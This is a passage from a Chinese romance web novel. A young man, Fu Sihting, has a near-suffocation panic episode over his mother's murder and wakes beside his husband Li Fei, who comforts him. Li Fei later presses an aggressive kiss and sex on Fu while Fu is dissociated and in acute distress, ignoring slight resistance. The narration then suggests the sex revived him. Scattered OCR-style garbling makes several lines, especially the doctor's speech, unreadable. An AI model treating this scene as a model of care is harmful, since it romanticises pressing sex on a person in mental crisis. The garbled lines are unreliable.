明明那么多事情都对得上了。可为什么又有那么多细节无论如何也对不上。后面几天,傅斯霆浑浑噩噩处理江月萍的丧事,连续几个晚上噩梦被鬼压床。去医院看,也没有什么别的结果。医生怀疑他是不是精神分裂才看到了幻影,傅斯霆也没有继续查。梦里二十八岁的傅斯霆什么都好,没听说抑郁也没听说精神分裂。他不想查了,不查就什么都没有,他不想将来被厉非嫌弃。杀人案后续侦办还要他去做笔录。凶手的家属又找过来求情,消耗着他最后一点点脆弱的神经。 没做完的游戏成了他唯一可以逃避的地方。 可是他又常常自我怀疑。一会儿觉得自己做的还不错,一会儿又觉得简笔画也丑、剧情也俗套、音乐也难听,全部一塌糊涂。而且明明连天加夜,整个项目的进度却还不到百分之二十。他都想不到以他这个效率,到哪一天才能做得完。现在的他活像个被掏空的行尸走肉,有时候看着银色笔记,都觉得现在的自己对不起那个十六岁的傅小霆。那个时候的他多强大,战胜病魔,向着未来那么坚定地努力。 十六岁的傅斯霆那么努力活着。 …… 二十二岁的傅斯霆,其实也没有想过去死。 毕竟之前如果他死了,撇下江月萍一个人她要怎么办。而现在公诉案件还没结束,江月萍死得那么惨,他必须为她讨回公道。 很奇怪,听说中度或重度抑郁症都是多少想过轻生的,他还真没有。 就连现在走在夜色霓虹的桥上,看着下面黑沉沉的河水,也没有想要跳。 他觉得他应该没有往下跳的。 但他又好像是跳了,因为,突然不能呼吸了。 溺水一般痛苦,周遭传来嘈杂的声音。他有一瞬间真的怀疑自己是不是已经跳下去了。那 刻真的分裂,他一边安慰自己没事的,只是过度呼吸,一边又像死前幻觉 样认真地想……… 如果真的死了,下辈子能不能对他好一点呢? 如果有来世,能不能让厉非真的只做他一个人的小竹马。但这似乎又太浪费了。他还是希望厉非在耀眼的舞台上被所有人看见,就像现在一样。 他什么都想要,太贪心了。 太贪心了…… 头开始剧烈地疼起来,真的好像溺水。明明张大了嘴却吸不进 丝空气,整个人像是被人掐住喉咙摁进了沼泽里,在室息之中缓慢地一点点死亡。眼前无数画面,清晰又模糊。最后只剩下深渊的虚无。要不,就这样算了吧。很痛苦,他也再没有力气了了。 他的身体缓缓贴着桥柱滑下去,眼前只有冰冷和黑暗。可又好像是错觉一样,有温暖的手抱住了他,紧接着整个胸口都是温暖的。有人亲了亲他,吻去了他的一丝泪痕。“傅小霆,傅小霆。醒醒。”傅小霆。世界上只会有一个人这么叫他。他好喜欢他这么叫他,真的好喜欢。“嗯…”意识朦胧中,他用尽全身的力气,努力向那温暖靠近。他以为碰触到的只会是虚无梦境。 但没有。他清楚听见对方叹了口气,抱着他的温暖的手紧了紧:“明明都认真养了你那么多天了,怎么又做噩梦啊?傻宝贝。” “快醒醒了,梦都是假的。” “傅小霆!”脸颊被亲了亲,温度无比真实,“睁眼,乖。” “傅小霆?” 傅斯霆的身体猛地痉挛了一下,像是濒死的鱼一样狠狠弹跳起来,又重重跌回了床上。床的温暖的,不是刚才那冰冷的、没有尽头的泥沼。但他反应不过来,兀自睁大眼睛,对着周遭黑洞洞的一切,一时没有呼吸。 “傅小霆,怎么了?” 厉非本来睡得迷糊,只是习惯性抱住做噩梦的人安慰而已。感觉身边动静不对才皱眉摸黑起来,开了灯。 灯光下,傅斯霆惨白的脸色与几乎死不瞑目一样的眼神把他吓了一跳。 “傅小霆!你不要一大半夜的吓我。你喘气!给我呼吸!” 傅斯霆什么都不知道。 他好像……也不是故意窒息,他只是真的很难控制自己的身体,一点点的,先渐渐有了触感,然后才逐渐恢复听觉。 眼前却还是一片漆黑。 直到温柔的手放在脸上,轻轻摩挲,僵冷的心脏才又重新开始跳动。 可还是不能呼吸,也看不见。 叫不出声。 有人俯下身子,轻柔地替他吻去泪痕。淡淡墨水柑橘香。 不知多久,那吻变成了温热的舔舔,耳边有嗷呜嗷呜的声音。傅斯霆的眼睛终于缓缓能看到东西,看到了黄白相间的温软小狗。也不知道芝士那短短的脚是怎么爬上床的,正在他的脸上到处舔舔,温度真实。继而他听到了厉非打电话的声音。 “…” “是的,大半夜的实在麻烦您,可以的话务必尽快过来。” 房顶有什么东西飘着荡着过来了。傅斯霆抬眼愣愣看着,是无比熟悉的,那只绿色的小恐龙气球。 小狗,气球…… 心脏比意识先行激烈地痛苦得骤然收缩,一时间痛得无以复加。 他不由自主地蜷缩起身体,哑着嗓子,喉咙里发出破碎不堪的声音。 那一刻很短又很长,好像只是过了一秒钟,又好像过了一个世纪。回过神来时,耳边是厉非骤然着急的声音。 “傅斯霆!傅斯霆你振作点!别怕,医生五分钟就到。” 那声音很近,无比真实。他又抚上他的脸,是带有温度的触感。 傅斯霆睁大眼睛,眼睛像是无光的黑洞。 他是认得……是认得身边这个人的。手指滚烫的温度,淡淡柑橘的香气,一切都是那么、那么的熟悉。 傅斯走狠狠咬住牙。他当然认得他!!虽然他的脑子好像不转了,胸腔里也是一片平静的死寂。可即使在死寂中他也认得的,厉非有什么认不出来的? 他想,他现在一定是正在一场清醒梦里。 但他终于在梦里再一次见到他了! 时隔多年,他终于再度回到了银色笔记里的那个世界…… 有一瞬间心脏彻底纠结,却又彻底放松。整整漫长的六年,他都在明待这样一个梦。终于等到了,他有一刻就只是安静地靠在他怀里,什么别的也不愿意想。厉非一手抱着他,在他背上不断摩挲安抚。一手继续拿着手机保持着通话。 琉璃水母灯的光打在他左手的无名指上。 那上面戴着一枚婚戒,流畅的大尾巴的小狐狸形状。 傅斯霆恍惚低下头。 他自己的手上,此刻也戴着一枚婚戒,边缘是暗纹的玫瑰花。 "…" 有什么记忆破土复苏,连带着整个世界开始轰鸣。周身的温度、气息,所有感官的真切,终于在这一刻彻底清晰。 他的世界像是被人突然从玻璃罩子被拿出来一样,一切不再是雾里看花、朦朦胧胧。而是真切地刺激着感官,所有未梢神经都跟着刺痛。 他也终于可以抬起手。 终于可以顺畅呼吸。 然后他几乎是疯了一样,扑过去,狠狠地抱住了厉非。 贪婪地搂住他的腰,就像溺水之人在濒死的暴风深海里突然抓到了礁石。他闭上眼睛贪婪地呼吸,浑身湿透压抑着鼻间淹没人的室息和酸涩,狼狈凌乱地努力呼吸。 疯狂在那温暖的身体上,汲取温度和生机。 47、第47章 厉非被扑得整个摔在床上,压在他身上的人胸膛剧烈起伏,呼吸声异常杂乱。好像突然不会呼吸了一样。 “小霆……” 有一瞬间,他觉得怀里抱着的好像是一只被踩脏碾烂的玩具小恐龙,浑身都是泥水,脏到分辨不清本来的模样,委屈得不行。 厉非则小心在满是泥泞的地上,轻轻将他抱起来。 他抱得很紧,不明白他为什么突然全盘崩溃,只能小声哄他:“宝贝,乖,梦到什么可怕的东西了?告诉我。” 长夜漫漫潮湿阴沉,像是下过一场无声的大雨,怀里人不说话。 他蜷缩在他怀里,受伤动物一般发着抖。 厉非紧紧贴着他紊乱起伏的胸腔。半晌,傅斯霆的喉咙才终于发出一声涩哑的呜咽。 他努力咬着牙,死死压抑着喉咙的滚动,可强忍的结果,却是一声近乎崩溃、完全失控的哭声。 究竟有多痛苦,才会发出那样的声音…… 厉非闭了闭眼,一只手环过他的腰,另一只环他的后颈将他整个包裹在怀里。 这一刻似乎只有用力收紧手臂,才能帮他止疼。 “小霆。”半晌,他贴在他耳畔,“宝贝,我知道你难受,但先跟我说说话,好不好?” 他都那么痛了。可当厉非真正捧住他的脸,却发现他双眼猩红,没有哭。 又过了很久,傅斯霆终于回过神。 一点一点抬起手臂,不确定地抓住了厉非的睡衣。继而试探性地环住了他的腰。 从一开始不能置信可以碰触,到一点点收紧手臂,再到渐渐无法控制的力气,紧得厉非都有点痛了。 “这不是梦………不是梦吗?” “嗯?” 他喉咙里发出模糊的声音,话语破碎不清:“这不是梦吧。求你告诉我,这不是梦。” “…” “我回来了……对不对?终于回到你身边了,是不是?"”颠三倒四的话语,厉非沉默了两秒,努力让怀里人对上他的黑瞳。“傅小霆,我觉得二十八岁的你,应该还没“回来’。”“现在我怀里的这一只,还是十六岁的小霆。是不是?” " 十六岁。 傅斯霆下意识摇头,他二十二岁。 可下一瞬,之前十天那所有被吞噬的、被遗忘的、属于“十六岁傅斯霆”记忆,潮水一样疯狂涌回。 从他跌下楼梯第一天来到这个世界,到住进小别墅。照片墙、红毯、糖果广告、海鲜大餐、小狗、小恐龙气球…… 一切无比清晰仿佛就在昨天! 那些记忆,他以为只是短暂的幻梦,可现在点点滴滴,清晰地回来了。傅斯霆睁大眼睛,再度看向天花板熟悉的小恐龙气球,再低头看看手指戴上的戒指。 厉非的手机刚刚被他撞掉,就落再在旁边。 屏幕还是亮着的,上面赫然显示着日期。二零X五年八月九日。 他们去迪士尼玩的那一天,是八月七日。 那天在美国是个不大不小的“国家灯塔节”,当晚他们回到golden oak的时候,在院子里还看到了一些亮晶晶灯塔布置。 再后来八月八日,他一直昏沉,一直发烧。 ……而现在,是九日凌晨! 对他来说,眼前一切是他在漫长的六年孤寂后好不容易回归美梦,可对二十八岁的厉非来说,一切不过只是“隔天”而已。 甚至,只隔了几个小时。 “…. 所以二十八岁的厉非还是习惯性叫着他“傅小霆”,一如既往温柔揉着他的脸。因为对厉非来说,他仅仅是把十六岁发烧的傅小霆哄睡,隔天睁眼爱人还在身边而傅斯霆却已经离开那个幻梦六年了! 可是,人又怎么会时隔六年,还能穿越回同一个连续的梦里? 傅斯霆想不通。恐惧袭上背脊,难以形的希望和绝望。他此刻明明摸得到厉非,感受得到真切的温暖,但好像同时一切都摇摇欲坠、一触即碎。 他又开始难以呼吸。 “我妈妈她….”他声音碎裂嘶哑,佝偻着紧紧抓住厉非,“不是车祸。”“她不是,死于车祸。” 厉非抱紧他,这一刻傅斯霆在他怀里抖得太厉害,难受得不断抽气。 他虽然平常擅长哄他,现在也有点找不到章法,只能一遍遍从后背顺着他微弱的呼吸:“所以小霆刚才做噩梦,是梦见了阿姨?““她被人……杀死了。” 房间里一瞬静默。 “她被人……杀死了。明明我回去了,回到……十六岁,在那里又过了六年……应该可以救她的。” “二月一日,那一天她也没有出门,她在医院………” “可她还是在医院病房里,还是被人杀死了。” 那一刻傅斯霆睁着空洞的灰色眼睛,像是一片死寂又绝望的湖。从十六岁到二十二岁,明明很多事情都和笔记本一样,可为什么又有那么多不一样。 妈妈被杀,厉非受伤,还有……医生说怀疑他精神分裂,可能会看到幻觉。也许眼前的一切,也都只是幻觉?胸口辐射一样的疼,疼得他蜷缩发抖。“傅小霆,宝贝,你忍着点,家庭医生就快到了…….” 剧痛像一片泥沼深海,扯着他的身体向深渊坠落,这个时候唯一能够接住他、将他打捞起来的,只有抱着他的声音和温度和那一声声“傅小霆”。 那是无尽恐惧之中,唯一可以安慰他的东西。 傅斯霆像是短暂昏睡了片刻,然后又醒了。身上好冷,头脑却因此清醒。他深深吸了两口起,努力咬紧后槽牙。 他想振作。 至少振作一点。 因为哪怕只是幻觉,哪怕只是在梦里……他也想在厉非面前好好的。 当初,十六岁的自己刚穿越到十二年后时,哪怕心里发疯了一样叫嚣,但至少表面上做到了平静、稳定、乖巧。可二十二岁的他,却连平稳都做不到了。…… 隔天早上,厉非带傅斯霆去了医院又做了一次详细的全身检查。医生:“综上所述,傅先生这不就是……又多恢复了六年的记忆嘛?可喜可贺,这是好事啊!” "…" 没毛病网,从片子上看血栓确交消了一大半,不信所先生你石这儿,确文此比上次多了是吧傅先生不是之前觉得自己十六,现在磁得自己二+=+天动酸复了六年,那再过十天两恢复六年,不就轻松松回到二十八,什么都记起来了卿?” …" 傅斯霆偏过头去。 他现在靠在厉非怀里,就像一台电池耗尽的手机,只想依靠一丝温度苟活,什么都不听,什么都不想。医生当然也能看出傅斯霆十分憔悴且对他的解释异常抗拒。但以他的专业素养,事实就是他说的那样啊! 他也就只能 脸无奈,略同情又无享地小声跟厉非解释:“其文我们能理解傅先生直到现在还是觉得他是穿越而不是失忆的 定合理性。不过,咳,居然能想出十六岁穿了一次,二十二岁又穿了一次的复杂剧本.…."“以前的案例,最多也就是认定我们医院是无良人体实验组织的,或者觉得被我们“楚门的世界 了的,偶尔拿穿越剧本的也都只穿次,总之,咳,傅先生不愧是各校高材生,想象力更上一层楼。” “” 医生和病人现在互相觉得对方是无稽之谈。 傅斯霆全身没力气,恹恹的懒得反驳。厉非的怀抱是他现在续命的唯一温床。哪怕全世界都觉得他疯了没关系,厉非相信他就够了。 …… 医生们陆续离开了房间。 毕竟病人当下精神情况不济,那么多人杵在那也没什么用。既然他现在只有在爱人怀里是放松的,那就让他和爱人先多待会吧。虽然理论上能治病的只有药,但医生们现实中也见得多了一 爱和抚慰能出奇迹,有些事就是这样的玄学且不讲道理。医生走前跟厉非交换了一个眼神,一切尽在不言中。 厉非:……" 他低下头,再度看着怀里的人。 十天前,他重新认识了十六岁的高中生傅小霆。十天后,他又能继续认识二十二岁的傅斯霆。 他垂眸笑了笑,胸口酸软发疼,难以形容的感觉。 他抱紧他,试着跟怀里人一点点说话。 “傅小霆,我知道你现在没力气回答我,点头摇头也可以的,好吗?” 傅斯霆有一点特别好。就是只要厉非跟他说话,他永远事事回应。再难受再精神不济,也不会对他的任何一句话置若罔闻。 哪怕现在,他连动一动手指的力气都没有,也在努力回应,没有光华的眼睛缓缓看过来。 厉非问他:“你现在二十二岁,但也还都记得十六岁时和我在 起的事情。记得我 起吃冰淇淋买小恐龙气球,拍糖果广告在迪士尼的摩天轮上看烟花,是吗?” 怀里人慢慢点头。 “只是在你的时间线里,你在‘那边’又过了六年,从十六岁长大到了二十二岁?”怀里人反应慢,但都缓缓点头了。 “但二十二岁的你,还是发现有很多事情 对不上''。比如阿姨的死,比如我坠马受伤,比如洛芮安。”傅斯霆很安静,眼眶微微红着,深不见底的绝望。 厉非那一刻真的是…… 他以为自己是好演员,直到此刻才发现他职业生涯那么多年,演过那么多折磨痛苦、需要共情的角色,结果共情的心痛程度竟远远不到眼前的十分之一。他甚至觉得,是不是真的天道好轮回。他遇到傅斯霆之前那么多年前欠这个世界的所有的真情实感,都要在真正被赋予了“灵魂”后,全部反噬过来折磨他一遍。但如果,他来分担,就能让他的宝贝少痛一点。 那他甘之如饴。 他收紧手臂,轻声哄他:“小霆,你先不要急。” “你说对不上,那我们现在就重新对一下。退一万步说,就算真有 平行世界’,那至少你作为平行世界的傅斯霆 两次都成功都找到了 同一个厉非,不是吗?”“说明我们被命运连着,有不会轻易断掉的缘分。” “看,我抱着你呢。你现在很安全。嗯?我不会放手,别怕。” ……." “我想先问六年后‘回来’的小霆。你现在还有没有哪里不舒服?头晕吗?胃疼吗?耳鸣吗?” 傅斯霆摇了摇头。 只隐隐………胃里有点难受。但这个之前医生检查过了,说是心因性质的。有了皮肤接触和温暖怀抱后,不适已经在减退。淡淡柑橘气息中,厉非蹭着他:“其实你说那些的经历,未必对不上。” “我那次坠马是伤得不重。但因为连续拍片体力透支,加上服用了一些成分过敏的感冒药,昏死了很久。” “当时医院排查了好几个小时也没排查出醒不过来的原因,一度以为很严重,才一直没有给外界回应。导致外面传出各种各样的新闻。”“但确实没有摔断骨头。你看到的那几张断骨的照片,我在网上没有找到。”“但我想,是不是有可能那只是无良营销号在蹭热度,真相大白后就偷偷删除了,所以才什么也不剩下。小霆你想想,是不是有这种可能?” 傅斯霆沉默着。 “至于洛芮安。家里照片墙上没有她是因为….” 厉非垂眸,脸上露出一抹说不清的古怪。 “因为我后来,跟她闹翻了。” "…" "…" “我和洛芮安从小一起长大,两家长辈也有很多业务往来,确实一直希望我们能够在一起。” “但……小霆你没有青梅竹马,大概不会明白。” “青梅竹马有两种。一种从小就有朦胧情愫,长大后很容易水到渠成。可另一种,彼此只是单纯的互相欣赏,就只会将对方当成亲兄妹 般,反而永远没办法成为恋人。” “我和洛芮安就是那样。” “后来,Lori十四岁那年,她的母亲去世了,她爸很快又娶了家世强劲的后妈。接连几个同父异母的弟弟妹妹降生后,她在家中的处境变得十分尴尬。”“她就是从那时起,突然变得倾向于服从家族对我们关系的安排,还试图劝我一起配合。”“倒不是她对我的感情有任何变化,只是她急需通过联姻稳固地位、拿下家中更多的财产和资源。”“这件事我明确表示了拒绝。后来我们开诚布公地聊过,她也答应了放弃。” “确实放弃了几年,可后来她父亲病重,她为了跟后妈争家产,又在完全没有跟我提前商量的情况下单方面对外宣布了两家订婚的消息。那次我们争执很重,都说了一些伤人的话。” “她是很骄傲的性格……”厉非垂眸,“大吵一架后,我们就再也没有联系过。” 所以照片上没有她,朋友聚会也没有她。 因为曾经的好友已经有四五年没再见过面。 冰凉的手指轻轻摩挲过指尖。 厉非发现,在他说到童年好友从此分道扬镳再不联系时,傅斯霆虽然目光仍旧有点空洞,却又在安静地、认真地,试图用仅仅能动的一点点指尖安抚他。 “…” 他的男朋友好像一直都是这样。 不管自己多难受,仍永远细腻地在乎他一丝一毫的情绪。想要保护他。厉非在那一瞬感觉到胸腔聚集了难以言说的酸涩潮湿,他努力压下,继续说:“至于你的妈妈。” “我没有机会见过阿姨,是你告诉我,她不幸遭遇了车祸离世。”“但是,傅小霆,有没有可能,那并不是实话。”“…”“会不会,只是你不忍心别人觉得阿姨太凄惨,所以才只对外说她是车祸离世?” …… 医生开了点药后,厉非就带傅斯霆回家了。 十天前同一条回家的路上,十六岁的傅小霆一直乖乖靠着肩膀半睡半醒。可这一回,他却始终微微皱眉,好像在强忍着什么。 厉非摸了摸他额头:“是晕车难受么?”傅斯霆摇了摇头。 “就是困。”半晌,他又低声说,“头也……有点疼。” 二十二岁的傅斯霆不会说他疼。 二十二岁的傅斯霆太累太累,什么都没力气提。大概……是十六岁的那个傅小霆在喊疼。 其实十六岁的傅小霆以前也不爱说话的。可才短短十天,他就被厉非养得什么都肯说了。 二十二岁的傅斯霆都要狠狠羡慕。 “还有五分钟到家,”厉非说,“稍微忍一忍,回去给你按。” “嗯。” 二十二岁的他,已经远没有十六岁那么阳光灿烂、单纯可爱。 终于回到了那个梦中的红瓦小别墅。 熟悉的客厅、照片墙,摇尾巴的小狗抱上小腿,小恐龙气球也出来欢迎。怀中小狗温热的皮毛,脚下地毯柔软的触感,窗外波光粼(K的游泳池和小花园,整个家里令人熟悉的每 步方寸。 傅斯霆越往里走一步,心脏就在一点点活过来。 ……不像梦。 因为细节太真实了。 厉非拽他回了房间,按着他在柔软的蓝色大床躺倒,哄小孩一样给他拉上毯子。 “渴不渴?” 傅斯霆摇头,他躺得不怎么安稳,眉头不自觉蹙着。直到厉非的手放到他的发顶,轻缓替他按揉太阳穴,一下接一下。 很舒服。脑海中的刺痛不知不觉被抚平下来。 他想说些什么,但没有力气。被这样一直被舒服地按揉着,竟很快睡着了。 他睡着以后,厉非微微垂眸。指尖轻轻抚上傅斯霆依旧发红的眼眶,沿着微微凹陷的轮廓缓缓摩挲,动作轻柔得像怕惊扰了什么。 “笨蛋宝贝。”他轻声说。 他轻轻抱了他一下,下巴小心搁在爱人肩头,黑瞳暗了暗。 宝贝以前,究竟受了多少苦呢? 这个世界当然不存在穿越。 但既然傅斯霆始终认定有,他也愿意顺着他。宝贝需要支持,他就给他无条件的支持。现在不是分辨逻辑的时候。 宝贝说他是十六岁的男高傅小霆,他就当他是。宝贝说他是二十二岁的男大傅斯霆,他也当他是。他是真的不想他再经历哪怕一点点的怀疑,不舍得他受一点点的折磨。 他知道傅斯霆不是故意骗他。 “还好。” “你现在’已经二十二岁,再多恢复一点记忆,我们就遇到了。以后的所有,都只会是很多美好的记忆,就不会再那么的伤心了。” “对不起,宝贝。” “我要是那个时候就知道关于你的一切。要是那个时候就早点跟你在一起、好好保护你。”“我的宝贝会不会更健康、更快乐一些?” …… 傅斯霆又堕入了梦里。 梦里,二十八岁的傅斯霆正在“审判”二十二岁的自己。 是,这六年时光很难熬,但好像也没有那么难熬。所以他始终想不明白一件事明明人生最难的事情都挺过去了。 一个成功战胜死神的人,为什么还会败给别的东西。为什么最终令他崩溃的,却是一件件不及生死的小事…他为什么会因为那点事,变成这幅疲惫窒息的样子。 他不想的。 他也不想变成这样。 床边,厉非小心摸了摸睡梦中傅斯霆的额头,明明是那么热的夏天,怀里的人的手脚却根本捂不热,最后他只能把人放在电热毯上,渐渐的手心才暖和起来,身上也跟着有了温度。 怀中人呼吸渐渐平缓,厉非稍稍松了口气。 可下一刻,傅斯霆又忽然睁开了眼睛。 那眼睛空洞安静,脸上也没有表情,仿佛整个人陷入了一种沉默的死寂。 继而他的肩膀剧烈颤抖,背脊狠狠弓起,像是被无形的重量狠狠碾压。胸口剧烈起伏,呼吸急促而破碎,每一次吸气都带着刀割般的痛楚。 他没有哭。 房间里安静得可怕,只有他低不可闻、压抑的呼吸。他像是彻底被抽离了表达一切应有情感的能力,那些积压已久的情绪化作无声的水汽,却流不出来,没有任何声音,像是 座即将被淹没的孤岛。 厉非心被钝刀子割了一般。 ——世界上有一个人,是他的珍宝,也是他的劫难。“小霆,”他躬身哑声抱住他,“不怕,我在。” 他明明养好了他的。 才养了短短十天,他就被养得会害羞,会开心,会说实话,会明确表达自己想要什么。会在游乐园里可可爱爱,会回到家里迷糊而贪婪地索吻。 明明,一度,养好了的…… 可现在他又受伤一样发着抖,狠狠蜷缩着像是想要把自己藏起来,消失掉。 “宝贝……. 他低头吻了吻他的额心。 傅斯建喉咙深处发出低低的鸣咽,像是困兽的哀鸣,嘴唇被咬得近乎失去血色,手指深深嵌入掌心。他好像是故意要让那指甲刺破皮肤,让疼痛渗话进每一根神经,每一寸血内和骨髓,才能好受些。 干呕也什么也吐不出。 他喘息着,低声喃喃着什么,厉非贴上去认真听。听到他说的是“对不起,对不起…我不想……我也不想这样……对不起。” “宝贝,你没有错,别怪自己。” 可怀里人却像是听不见。他承受着巨大的痛苦,却好像什么拥抱和温暖都不能安抚他。 要怎么才能让他不那么疼? 高塔上会魔法的王子第一次感觉到自己那么无力。他想靠近他,想温暖他,想用尽一切向他的骑士施放有效的魔法。 “……”厉非黑瞳也染上一层暗雾。 他低下头,去吻他的唇。 他不相信童话,所以也不相信魔法之吻。这一刻,他清楚知道自己这样做不对。 可人有时候就是这样,明明理智知道不对,却控制不了行为。厉非以前很少这样,二十多年的演艺生涯,他从来不是那种沉浸的体验派。大多数“演技巅峰”辉煌的时刻,他每一个表情动作都是精心设计的。 他不会被冲昏头脑。 人生绝大多数时候都不会,只有这个人—— 这辈子就只有这个人,会让他的动作、行为,都荒谬可笑而不可理喻!无数次引出他埋藏在血液里最原始,最直接的,被叫做“直觉”的东西。 那并不是一个纯洁的、蜻蜓点水的吻。 明明.就算是亲吻,他现在也该用最温柔的吻安抚他。可事实却是他直接狠狠撬开他紧紧抿着的唇,非常侵略性地啃了上去,另一只手甚至一把扯开了他的衣带。 理智在这一刻开启了嘲讽模式。 厉非你在干什么,又想干什么?他发疯你也要跟着疯吗,两个一起疯? 不应该,不应该,不应该。 不应该。 48、第48章 不应该…… 无数的不应该,停止不了血液里沸腾的、难以言说的晦暗。 厉非把手伸进傅斯霆的衣服里。 不顾怀里人眼中还残留着的痛苦和茫然,不顾他快死了的凄惨,猛地将他拉近。 那是一个极具侵略性的吻。牙齿轻咬下唇,紧接着舌头强势探入,肆意掠夺口中的每一寸领地。 感受到了轻微的反抗挣扎,可他没有管,一只手紧紧扣住傅斯建的后脑手指深深嵌入发丝让他逃无可逃,另一只手则死死箍住腰,将两人的身体贴合得没有一丝缝隙,仿佛要把人揉进身体 急促而滚烫的呼吸,倾泻的疯狂占有欲。这根本不是安抚人的方法。 厉非也觉得自己真是疯了,他到底在干什么?! 身体的交缠永远不可能是解决痛苦的恰当方式。 人类更有效的沟通方式,永远是理解、倾听、陪伴,支持。身体的一时沉溺,只能被看作是无法解决痛苦根源的暂时逃避。 这些他明明都知道…… 在一起的三年里,彼此偶尔有些负面情绪,也从来不是用身体去安慰。 他们都很能制造惊喜节目,或者只是靠一起说说话,每次都能成功哄好对方。 可是。 可是,你看眼前的这一只。 他听话吗? 他能听得进去人说话吗? 反而这一刻,在昏暗的、夜色深重的房间里,真正能让怀里人忘记紧绷和痛苦的好像只有不像话的、疾风骤雨般湿热的亲吻和爱抚。可笑吗?当然可笑。理智叫嚣着不能一个人发疯了另一个也疯。本能却告诉他,能进入一个疯子的世界把他打捞起的,只有另一个疯子!亲密解决不了任何问题是吗? 可明明人类从出生开始,就都是通过身体的触抚来获得安全感的。几乎所有婴儿最初的安心,都是来自家人充满爱意的拥抱和抚摸!所以当语言没有办法充分安慰痛苦时,身体的接触难道不应该被本视为一种更直接、更强烈的情感传递方式吗?难道这不本来就应该是最直接能够冲破孤独与隔离,重新建立起最紧密的连接,让人感受到被接纳和被需要的最直接方式吗?人这种生物,本来就是渴望与所爱之人有最亲密的接触。 傅斯霆的胸口一片冰冷,厉非贴上去。 直接而真实的东西,比如体温能带来的物理上的温暖,说不定有时反而比任何语言都有力量。至少在这一刻,厉非真心觉得,他可以的用物理的温暖去填补怀里人心脏的冰冷和空虚。 "…" 温暖柔软的床上。胸口的酸疼蔓延全身,唇齿之间裹挟着窒息和无望的缠绵。他一遍一遍地粗暴吻他,不管不顾抚摸他,极尽亲密。“讨厌吗?”他低声问他,声音是前所未有的涩哑。很糟糕。 真的很糟糕,理智全盘崩掉了。所有的感情,所有他拥有的东西,那颗看起来矜贵其实不值钱的心,这一刻在爱人滚烫的呼吸和发凉的肌肤前全部柔软酸涩,一败涂地。 厉非是真笑了。他无奈又想起无数被他嗤之以鼻的纯爱剧本上,那些离谱又俗套的文字。 结果其实他自己,比那些都离谱得多。 呵,厉非,原来你比它们都还…俗套又可笑得多! 窗外大雨滂沱。 不知道什么时候开始,大风早将窗户刮得咯吱作响。可能哪里没关好,雨水和泥土的腥气被风吹进房子。雷声中,床上的人也好像一叶扁舟在暴风雨摇曳,浑浑噩噩地摇摇晃晃、滚烫糊涂。 这一次傅斯霆没有抗拒,他像是根本不会抗拒一般,就那样安静地微微睁着眼睛,迷离地、温顺地,任由厉非温热地啄着脖子、一路向下。厉非残存的理智还留着一丝最后的谨慎。 他不确定小霆会不会讨厌,会不会又被弄哭,稍微停下来观察,却只看到傅斯霆眼里一丝微光。 他说不清那是什么。 那双灰瞳平静地看 他,好像不是杭拒,好像在等他继续,厉非微放了心,低下头继续咬,激起身下人一阵战粟,直到两个人滚在 起,他喘息有脱下身下人最后 件,傅斯建才突然又有些犹疑地抓住了他手腕苍白的唇翕动几下,不是抗拒,只是…… 只是他,不会。 厉非愣了愣,笑了,心里涌起无限温柔:“乖,我慢慢教你。” “之前十六岁的小霆……还在念高中,还不可以学坏。但现在二十二岁的傅斯霆,已经是成年人了,什么都可以做。”他俯身垂眸。二十五岁那年他也教过他的,大不了再教一次。 滚热的温度紧拥相贴。 夜色漫长。 …… 后面那一夜是怎么过的呢? 厉非隔天醒来望着天花板,很空白,脑壳一阵突突地疼。他彻底清醒了,再想起昨晚做的事,只觉得自己……禽兽不如。 还记得几天前,他去app更新《男友失忆了怎么办》的树洞,被误会他跟失忆小霆do了,评论区嘻嘻哈哈说他简直禽兽的那些话。倒是一语成谶,真什么都做了。 如果只是那样也就罢了。但事实上他昨晚比评论区还要禽兽得多…… 厉非懊恼地摁了摁太阳穴。想起昨晚夜色昏暗,一开始傅斯霆特别生涩。太过珍惜、小心翼翼,好像生怕弄疼他。后来他总是磨蹭,厉非实在没忍住。 脑子断了线,在孩子耳边说了些什么绝对不该说的话。再然后直接翻身上去,自己…… 那还没完。 还有再然后。 还有再再然后。 不能再继续想了,厉非真的完全没想到,自己是那么个畜生。 真的,他一辈子没想到畜生这种词能用在自己这种人身上。本来禽曾就应该是他人生的底线了,但禽兽这个词对他昨晚的所作所为实在又有些过于文雅。别的不说。 就说他既然想用身体安慰别人破碎的心,那至少,也应该是以对方舒适最为优先吧?可他呢?许是因为之前的种种波折、男朋友跌下楼梯昏迷又失忆,加起来已经有一个月没……了。他才二十九岁,体力又好,没收住的结果就是昨晚搞起来后干脆就理智彻底断线。直到此刻,与罪恶感背道而驰的仍旧是身体暖融蝠的飨足感。素了一个多月,终于吃上了。很满足。 “…” 是人吗。 真的。就问他这还是人吗?! 哪有人一边想要治愈爱人一边又索求无度的?他真的感觉到后面孩子都被他玩傻了,要论两个人昨晚到底谁在发大疯,那疯更大的多半是他。正想着,怀里人蜷缩抽搐了一下。厉非一时间真是心疼愧疚懊悔加没脸见人和荒谬等种种滋味杂陈。搂住了他,等着怀里人渐渐转醒。 “傅小霆。” 出声才发现自己嗓子全哑了。昨晚玩那么疯,不哑才怪了。厉非真的是人生中仅有的几次生不如死的羞耻和悔不当初,每一件都和傅斯霆有关。可明明昨晚那么不做人,他现在还得顶着嘶哑的嗓音装正经和温柔。现在的心情也十分的破罐子破摔的半死不活。 "…" 可事实证明,单纯的身体安抚,好像真的可以起到一定起死回生的效果。这次醒来之后的傅斯霆平稳地呼吸着,之前一直灰败的眼睛,也安安静静地有了一丝高光。像是被水洗,有一种好像十六岁的小霆成功熬过冬天,重新有点活回来的感觉。厉非勉强从床上爬了起来。 他知道傅斯霆现在应该很累,他也非常体力透支,一动浑身骨头酸痛。但他还是撑着起了床,并把傅斯霆也拽了起来。 “我知道你现在的精神状态并不适合舟车劳顿,但关于你妈妈去世的真相,我的律师已经去你老家申请卷宗和查阅案卷笔录了。”“派出所的笔录,只能由你这个直系亲属亲自当场去看。” “所以我们现在一起飞去你老家,好不好?还困的话,之后可以在飞机上再睡。” 傅斯霆没有说话,只是看着他。 “…” “傅小霆,有些事不去面对永远也没办法安心。” “到底‘过去’是不是对得上。我们一起去看看真实的案卷和笔录,就能都弄清楚。” “一起去,我会一直在你身边。” " 包机从奥兰多飞到S市,从安检到起飞只用了十几分钟,才九个多小时就飞到了。厉非给傅斯霆吃了点药,他在飞机上又睡得很沉。 到S市下飞机后,车子把他们接到珠市,又直奔辖区派出所。 到的时候是上午,律师已经在那等着。 